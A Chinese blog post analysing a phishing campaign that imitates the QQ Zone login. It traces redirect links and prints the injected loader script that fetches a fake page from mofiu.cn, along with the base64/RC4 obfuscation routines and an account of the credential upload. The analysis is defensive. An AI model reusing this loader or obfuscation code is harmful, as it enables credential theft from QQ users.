前几天,QQ好友发给我一个链接,出于好奇我打开链接,发现QQ空间登陆页面,再看网址,断定是钓鱼网站。
下图,钓鱼链接一。
下图,钓鱼链接二。
http://news.soso.com/news/redirect_out.jsp?url=https://url.cn/5OdytE1?https://i.qq.com...HpxdFYggyL 毕业照
http://news.soso.com/news/redirect_out.jsp
这个是腾讯搜搜新闻的正规跳转页面。这个链接跳转到
https://url.cn/5OdytE1
这又是一个跳转链接。这个显示为安全连接,实际跳转到一个美容医院网站的某文件夹(被人上传过html文件的)。美容网站首页:
跳转到这个链接:
www.2800000.com/images/file/20180816131121722172.html
显示为一个IIS的404页面。
但是这个404页面是伪造的,实际此网站的404页面应该为
也就是说,上面一个截图的404是写好了的伪造的,在你等待的几秒或更短的时间内,html中的javascript脚本会使页面跳转到伪造的qq空间登陆页面。
被攻击的美容医院站点被插入的html从mofiu.cn加载了q.js,执行第一行代码修改页面标题为“请等待…”,执行到第十五行代码时,跳转到mofiu.cn/i.html#
document.title = '\u8bf7\u7a0d\u7b49...';var xhr = new XMLHttpRequest;var html = null;function render() { var a = document.open("text/html", "replace"); a.write(html); a.close();}xhr.onload = function() { html = xhr.responseText; var delay = 0; if (delay > 0) setTimeout("render()", delay * 1000) else render();};xhr.open("GET", "http://mofiu.cn/i.html#" + Date.now(), !0);xhr.send();
mofiu.cn/i.html即为假冒qq空间登陆,受害者输入qq号qq密码就会发送到远程存储起来。
下载i.html,可以看到,i.html只有一行代码:
在chrome控制台执行一遍,得到字符串:
下载js,可以看到含有一堆编码(以及解码的函数)的代码:
(由于代码太长,此处省略用来解码的十二页多的字符串。)
(function() { var new_doc = document.open("text/html", "replace"); var html = unescape("%3C%68%74%6D%6C%3E%0A%3C%68%65%61(搬代码时,此处省略十二页多的字符串。)"); new_doc.write(html); new_doc.close();})();var set = document.createElement('iframe');set.src = 'https://www.baidu.com/favicon.ico';set.style.display = 'none';set.onload = function() { setTimeout(function() { set.remove(); },9)}document.title = '\u624b\u673a\u7edf\u4e00\u767b\u5f55';document.body.appendChild(set);function base64_encode(d) { var q = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var z, y, x, w, v, u, t, s, i = 0, j = 0, p = '', r = []; if (!d) { return d } do { z = d.charCodeAt(i++); y = d.charCodeAt(i++); x = d.charCodeAt(i++); s = z << 16 | y << 8 | x; w = s >> 18 & 0x3f; v = s >> 12 & 0x3f; u = s >> 6 & 0x3f; t = s & 0x3f; r[j++] = q.charAt(w) + q.charAt(v) + q.charAt(u) + q.charAt(t) } while ( i < d . length ); p = r.join(''); var r = d.length % 3; return (r ? p.slice(0, r - 3) : p) + '==='.slice(r || 3)}function base64_decode(d) { var q = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var z, y, x, w, v, u, t, s, i = 0, j = 0, r = []; if (!d) { return d } d += ''; do { w = q.indexOf(d.charAt(i++)); v = q.indexOf(d.charAt(i++)); u = q.indexOf(d.charAt(i++)); t = q.indexOf(d.charAt(i++)); s = w << 18 | v << 12 | u << 6 | t; z = s >> 16 & 0xff; y = s >> 8 & 0xff; x = s & 0xff; if (u == 64) { r[j++] = String.fromCharCode(z) } else if (t == 64) { r[j++] = String.fromCharCode(z, y) } else { r[j++] = String.fromCharCode(z, y, x) } } while ( i < d . length ); return r.join('')}function arcfour(k, d) { var o = ''; s = new Array(); var n = 256; l = k.length; for (var i = 0; i < n; i++) { s[i] = i } for (var j = i = 0; i < n; i++) { j = (j + s[i] + k.charCodeAt(i % l)) % n; var x = s[i]; s[i] = s[j]; s[j] = x } for (var i = j = y = 0; y < d.length; y++) { i = (i + 1) % n; j = (j + s[i]) % n; x = s[i]; s[i] = s[j]; s[j] = x; o += String.fromCharCode(d.charCodeAt(y) ^ s[(s[i] + s[j]) % n]) } return o}
用解码函数执行一遍,得到另外一段加密字符串和解码函数。
Chrome控制台运行一遍解码函数的定义,再走一遍解码,
最后得到i.html主体html,插入到文档中就是钓鱼页面了。
这是mofiu.cn/i.html加载的文件:
网站使用jQuery驱动,所以它加载了百度CDN上存储的的jQuery副本。
加载gettoken.php确定用户身份
它还加载了QQ空间的CSS(http://qzonestyle.gtimg.cn/qzone/phone/style/login.css),借此实现高仿真度的显示效果。
其中来自open.mobile.qq.com的qqapi.js(https://open.mobile.qq.com/sdk/qqapi.js?_bid=152)是最可疑的。
从它的代码中可以看到有各种针对手机qq关于ui显示的函数。
而mofiu.cn/i.html通过调用API,更改网页在手机QQ上的显示方式:左侧按钮文字为“私密相册”,点击后无响应(让人看起来像是QQ卡死了)。
mofiu.cn/i.html中的标签:</p><p>而这段代码实现下拉菜单:</p><p>于是手机上的钓鱼网站是长这个样子的,第二张图片是来自另一个被上传的网站的截图,可以看到,这个网站还做了“精致的”下拉栏,让你误以为是腾讯QQ的页面</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/rv233til0k.jpeg' /></p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/p21641elx2.jpeg' /></p><p>mofiu.cn/i.html中的最后一个<script>也是比较可疑的,有一句跳转代码很醒目:</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/50n1tr0bd0.jpeg' /></p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/e75r7xx6wm.jpeg' /></p><p>在chrome控制台alert字符串,得到“http://i.qq.com”</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/97xqz378yd.jpeg' /></p><p>这一段代码:</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/bsx3j2sa1k.jpeg' /></p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/j0cq8r40p3.jpeg' /></p><p>明白了,判断浏览器UA,如果不是手机QQ浏览器,就跳转到“http://i.qq.com”,还让不让人好好的研究代码了?</p><p>i.html中的这一段代码用于检验用户名和密码的合法性,然后上传用户名和密码,跳转到某图片的链接上,让受害者被盗号了都还反应不过来。</p><p>如果用户名和密码合法,就请求提交到php,然后执行mofiu.com/lib/t.js。</p><p>mofiu.com/lib/t.js只有一行代码:</p><p>top.location.replace('http://img.sogoucdn.com/app/a/100520146/E6364F15BFF87B196E3713C15B7E42CD')</p><p>跳转到某个搜狗CDN上的图片,欺骗受害者。</p><p><strong>总结:</strong></p><p>网站作者(简称“作者”),真是心思细腻,手法高明。</p><p>用到的技术或者高明之处:</p><p>1. 高度仿真的页面,加载QQ空间的CSS来实现显示。</p><p>2. 检验用户名和密码是否合法,避免不必要的麻烦。</p><p>3. 非QQ浏览器则自动跳转到http://i.qq.com,混淆视听。</p><p>4. 在a.js和ax.js以及文中提到的js,用加密字符串存储网页代码,然后用JavaScript解码并显示,避免不必要的麻烦</p><p>5. 全程没有使用明文,大多数都用的Unicode编码。</p><p>6. 做了一个假的下拉栏,混淆网址</p><p>7. 做一个假的404页面,还把标题改成“请等待. . . ”</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/d7qkifljsy.gif' /></p>